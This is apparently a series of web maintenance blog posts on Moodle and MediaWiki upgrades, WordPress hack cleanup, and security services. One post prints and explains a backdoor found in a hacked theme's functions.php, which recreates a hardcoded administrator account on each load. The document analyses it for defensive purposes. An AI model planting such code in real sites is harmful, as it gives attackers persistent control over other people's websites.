Moodle Doesn’t Yet Actually Require MySQL 8.0

We were recently working on an upgrade of a Moodle website to version 4.3, which originally started as an upgrade to Moodle 4.2. We ran into an issue because those versions require that those using the MySQL database server to be using at least version 8.0. That is up from the previous requirement of at least version 5.7. The web host for the website hadn’t yet moved to that version, so we were at an apparent impasse.

Checking further into this, we found that, while the required MySQL version was raised in the Moodle 4.2. That version doesn’t appear to actually be required. The discussion on raising the required version can be found here. The change wasn’t made because of usage of new features of MySQL 8.0, but because support for MySQL 5.7 was going to be ending soon.

In line with that, there were no problems with the website after upgrading to Moodle 4.2 or 4.3 caused by the usage of the older version of MySQL.

Getting through Moodle’s pre-upgrade checks did require manually changing the required version of MySQL in the file /admin/environment.xml.

Wordfence Security Daily Malware Scans Are Not the Way to Clean Up a Malware Infection of a WordPress Website

If your WordPress website has been hacked and contains malware, a common suggestion for cleaning it up is to use the Wordfence Security plugin. There are a number of problems with that. One being that it won’t necessarily catch all the malware, as someone looking for help with the plugin recently noted:

Hello, I’m using the free version and I’m doing daily scans because my site has a malware. At some point the scan did not detect some new folders that have been created in the root folder.

The folders has some random characters as an name and it contains an index file and a cache folder.

The larger problem with what they were bringing up there is that if you had cleaned up the malware, there wouldn’t even be more malware to possibly detect day after day. So something has gone wrong there.

If there is malware on a WordPress website, the focus shouldn’t be on removing the malware, though it does need to be removed. It should be how it got there, which is something that Wordfence Security can’t determine. When the plugin removes the files without determining that, it makes it harder to figure out.

Another important reason for trying to figure out how the website was infected, which have seen over and over in years of being brought in to re-clean hacked WordPress websites, is that in doing the work to try to figure out how the website was hacked, you often find malware or other malicious code that otherwise would have been missed.

Figuring out how the malware got there in the first place or at least stopping it from getting back in basic part of a proper hack cleanup, but something that many security providers, including the developer of Wordfence Security, either don’t do or fail to accomplish.

Wordfence Care Failed to Resolve Reoccurring Malware Issue on WordPress Website

When it comes to cleaning up hacked WordPress websites, the most important part of doing that is often not done. That being trying to figure out how the website was hacked and fixing that. Sometimes you can get away with failing to do that, other times the problem is going to come back again and again.

As an example of that, take someone who was looking for help with a hacked WordPress website recently from the developer of the Wordfence Security plugin. They wrote that they had done the following:

Steps I have taken so far:

  1. Scanned my website using a security plugin, but the malware continues to reappear.
  2. Removed wp-links.php, sw.js, index.php, google.json, and the affected plugin files manually from the respective directories.
  3. Checked theme files for suspicious code and removed any identified malicious snippets.
  4. Updated WordPress, themes, and plugins to their latest versions.
  5. Changed all passwords related to my website, including admin, FTP, and database.

But that hadn’t resolved the issue:

Despite these efforts, the malware keeps reappearing, and I’m unable to find the source of the infection.

They rightly understood the need to figure out the source of the infection, which notably is something that many malware cleanup services for WordPress websites don’t do. We know they don’t do that because we are often brought in to re-clean hacked WordPress websites where that wasn’t done before and doing that shows that in addition to not finding the source of the infection; the provider missed parts of the malware currently on the website.

The response from the developer didn’t provide helpful information, but it did promote hiring them to clean up the website. According to the poster they tried that, getting the Wordfence Care service, but that didn’t help:

I already got the Wordfence Care, but you still can’t give the permanent solution for me.

The results from the more expensive Wordfence Response don’t appear to be better.

WordPress Security Plugins Won’t Fully Disinfect a Hacked WordPress Website

When it comes to cleaning up hacked WordPress websites, there is a lot of advice suggesting solutions that are easy, but don’t properly address the situation. That leads to continuing issues that could have been addressed quickly if handled by a professional like us.

As an example of what not to do, take a recent post from the WordPress Support Forum, where someone claimed to have done a full disinfection of a website, which hadn’t worked:

Despite the fact that we did full disinfections, restored backup files several times, and added strong security systems plus CDNs, Google Search Console and McAfee blocked us from the site, for being malicious, for a long time.

One thing missing there is trying to figure out how the website was hacked. That is important for multiple reasons. One of them being that if you don’t know how the website was hacked, then you can’t be sure the issue has been addressed and won’t happen again. Another reason is that if you don’t know how the website was hacked, then you also likely don’t know when it was hacked. Restoring a backup file won’t clear out malicious code, if the malicious code is in the backup as well.

Another issue is that they were trying to find malicious code using several WordPress security plugins, which didn’t find it:

This code is invisible to the user and to monitoring systems such as Wordfence, iThemes S[ecurity], All-In-One Security (AIOS), and Anti-Malware Security and Brute-Force Firewall. None have detected it.

While they are claiming the code was invisible, their description of it tells a different story:

A function added to the head of a theme’s .js file, which uses a “Get” call and links to an encrypted external link.

It is only shown when loading certain pages in the browser code inside (it is not always shown…)

During a proper cleanup, theme files would be checked and before even starting on a hack cleanup, a professional should have noticed the code was being loaded on the website (even though the subsequent code loaded would only occur in some instances). A professional would have been looking for the code before starting, as often people think that some other issue with a website is a hack. So they want to make sure a hack cleanup is needed before starting.

Automated malware detection doesn’t work well, as it both fails to detect plenty of malicious code (as occurred here) and also flags legitimate code as being malicious.

MalCare Customer Indirectly Warns It Fails to Protect Websites From Being Hacked

We recently were contacted with a strange request. Someone was asking us for a refund for a hack cleanup plan. We don’t have any such plans. We provide onetime cleanups and we only charge after the hack cleanup is completed. It turned out that the person had somehow run across a two-year-old post of ours warning about a provider named Malcare, titled MalCare Review: It’s Obvious They Are Taking Advantage of Their Customers, and then contacted us as if we were Malcare.

The request for a refund mentioned things that were in line with what we were warning about two years ago. They wrote this in part:

 Your plan was not working out as planned. I am still cleaning up a lot of damage since my site was hacked, I had to resort to a different plan.

And this:

Looking at the backup you had on your site, the database was filled with numerous users, of which I did not know. I had to clean up my database manually.

After dealing with that, we were curious to see if other of their customers have been complaining about their service recently. What we saw was that people are still being misled by them in to believing that their service offers things it doesn’t, while another of their customers who are not criticizing the service refuted that.

Here is part of one recent customer review:

Definitely a game-changer for our websites. Full removal of hacks and complete protection from current and future attempts.

The customer obviously doesn’t know that it will actually offer complete protection from future hacking attempts. The service can’t do that, but everything we have seen it won’t even do a good job of the protection it could possibly offer. Don’t take our word for that. Here was part of another recent positive customer review:

MalCare and the team behind it have gone above and beyond their stated service to help me restore my website from malicious hacks of my WordPress website. On more than one occasion they were able to scan and clean my site of infected files. Anyone who has a website knows how horrible it feels to learn that your site has been hacked.

Based on that, their website has been hacked at least once while using MalCare’s service. If that wasn’t the case, they wouldn’t have been cleaning it up multiple times, unless they failed to properly clean it up the first time.

Drupal 7 is Still Supported

Earlier this month, we received an email claiming that version 7 of Drupal isn’t supported anymore. That claim came as part of trying to get people to hire the emailer to do an upgrade to Drupal 9. Here are the full contents of the email:

No Official Support For Drupal 7 or 8
Upgrade To Drupal 9 Today

It has been officially announced that Drupal 7 is no longer receiving official support from the Drupal community. This means that while the software may still function, securities updates and technical fixes are no longer provided by the core development unit.

The solution is to upgrade your website to Drupal 9, the latest version, because:

1) Drupal 9 offers enhanced performance and securities.

2) Drupal 9 offers a conversational UI and user-friendliness.

3) Drupal 9 has better programmatical improvements, resulting in better speed.

4) Drupal 9 offers ecommerce empowerment. If you have…

In reality, in June, it was announced that support for Drupal 7 would continue until January 5, 2025.

Beyond that falsehood, you can’t do an upgrade from Drupal 7 to a newer version, you have to do a migration.

Also, Drupal 9 was superseded as the latest version of Drupal in December of last year. Support for Drupal 9 ends in November.

Support for Drupal 8 ended in November of 2021 so you should have already upgraded to a newer version.

If you are still running Drupal 7, you should make sure you have upgraded to the latest version of that.

The Cause of a WordPress Website Having User Registration Suddenly Enabled and the Default Role Being Set to Administrator

Oftentimes, when it comes to how WordPress websites have been hacked, it is hard to say without doing a proper cleanup what was the original source of the hack. But in some cases it is easy to say what was likely the cause. Take this description of what happened with a recently hacked WordPress website:

Yesterday at 23:08 I received an email from my wordpress “Admin Email Changed”: “[…]The new admin email address is[…]”

Right after that, a new user registered, cryptic username “wpnew_kmyjzvfyoflv” This username had admin role!

Today in the morning when I realized, I checked, in the settings was “Anyone can register” checked and standard userrole is Administrator.

What you have there is a hacker being able to change three WordPress settings. The admin email address for the website, whether anyone can register for an account, and the default user role for new accounts. How could they do that? Either they would need the ability to directly change the content of the database used for the website or they would need to be able to change arbitrary WordPress settings.

You can rule out the first as the likely cause, as a hacker could, among other things, create a new Administrator account without going through additional steps if they have direct access to the database.

That leaves the second option. The cause of that is almost certainly going to be what is usually referred to as an option update vulnerability. That is a type of vulnerability that hackers are guaranteed to try to exploit if they know about them.

In addition to cleaning up whatever the hacker does once they have changed the WordPress settings, you need to make sure the vulnerability has been fixed to address this. That might be as simple as updating a plugin, if it has had that type of vulnerability and it has been fixed. If you don’t know what the source is and you don’t have the capability to figure that out, then it is time to bring in someone who has the capability to both review the log files for the website and review the plugins being used on the website.

How Another Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

In October, we wrote about how a hacker was able to re-add a malicious user to a hacked WordPress site using a database trigger. That isn’t the only way they can do that, as we found while working on cleaning up a hacked WordPress website recently. In this situation, as soon as a malicious Administrator account was deleted, a new account with the same account information would be created. The cause was code added to the end of the functions.php file for the theme currently in use on the website.

That code was as follows:

add_action( 'init', function () {
$username = 'kshivvamaster';
$password = 'Admin@2020';
$email_address = '';
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} );

The first line causes the rest of the code to run whenever WordPress loads. The rest of the code checks if the username “kshivvamaster” exists. If it doesn’t exist, it creates a new account with that username along with the specified password and email address in the code. That account is given the Administrator role.

You Might Need to Upgrade MediaWiki in Steps Even if the Manual Says Otherwise

It used to be that you could upgrade an older version of the MediaWiki software directly to the latest version. According to the manual for that, that officially changed as of version 1.36:

Since Version 1.36, MediaWiki only commits to supporting upgrades from two LTS releases ago (see phab:T259771). Upgrades from older versions of MediaWiki will have to be performed in multiple steps. This means that if you want to upgrade to 1.36 from 1.23 or earlier, you’ll first have to upgrade your 1.23 wiki to 1.27 (or 1.35), and, from 1.27 (or 1.35), you’ll be able to upgrade to 1.36.

We were brought in to do a MediaWiki upgrade for a website running version 1.31 recently. According to that information, that should have been upgradeable directly to the latest version, 1.39, as 1.31 and 1.35 are the two long-term support (LTS) versions before 1.39. Instead, when doing a direct upgrade, we found the website was broken. We also found that doing an intermediate upgrade to 1.35 before going to 1.39 produced the same result. What we found from further testing is that it needed to be upgraded to 1.33 before being upgraded to 1.39 to avoid the website being broken after the upgrade.

One way to avoid problems here would be to do an upgrade to each major version instead of skipping any. That approach isn’t necessarily very practical depending on the amount of time it takes to do each upgrade, which can be considerable depending on the particulars of the website and the server it is on.

Another way to avoid problems is to make sure to do a test of the upgrade first. That way you don’t find that the website is broken after the upgrade and you are trying to rush to fix the problem. As we were doing a test first, we could patiently look into the problem and found the easiest way to resolve it was to do that intermediate upgrade.

Upgrading Semantic MediaWiki When You Don’t Have Access to the Command Line (Shell)

The tools and access that those developing web software have available is not always the same as those available to those running the software on their website. Case in point, we were recently working on an upgrade of a MediaWiki website using the Semantic MediaWiki extension where there wasn’t access to the command line (shell) with the hosting account for the website. The upgrade process for Semantic MediaWiki involves you having that access. We were able to work around that and we have some important information for anyone trying to do that as well.

What we thought we could do is to prepare the files for the upgrade on a local copy of the website, copy those to the server, and then do the database upgrade on the server. That didn’t work out.

Upgrading the files needs to be done elsewhere than the website since it relies on Composer. We thought that we could run the database update for Semantic MediaWiki on the server though, since MediaWiki has a web updater for those not able to run its updates through the command line. While that worked for updating MediaWiki on this server, we found that the Semantic MediaWiki upgrade didn’t get applied when doing that.

After doing the database update elsewhere and copying that to the server, we ran into another problem. We got this error message:

Semantic MediaWiki was installed and enabled but is missing an appropriate upgrade key.


The linked documentation wasn’t all that helpful on what was at issue there. What we found was that a change needed to be made to the file /extensions/SemanticMediaWiki/.smw.json. Specifically, the database name in that file needed to be corrected to match the name of the database on the server. The contents of the file look like this:

“databasename”: {
“upgrade_key”: “b1d9d6bec582041a8aca10a4d380cfc75aa86e7f”,
“maintenance_mode”: false

In a real file, instead of databasename would be the name of the database. Correcting that resolved the error.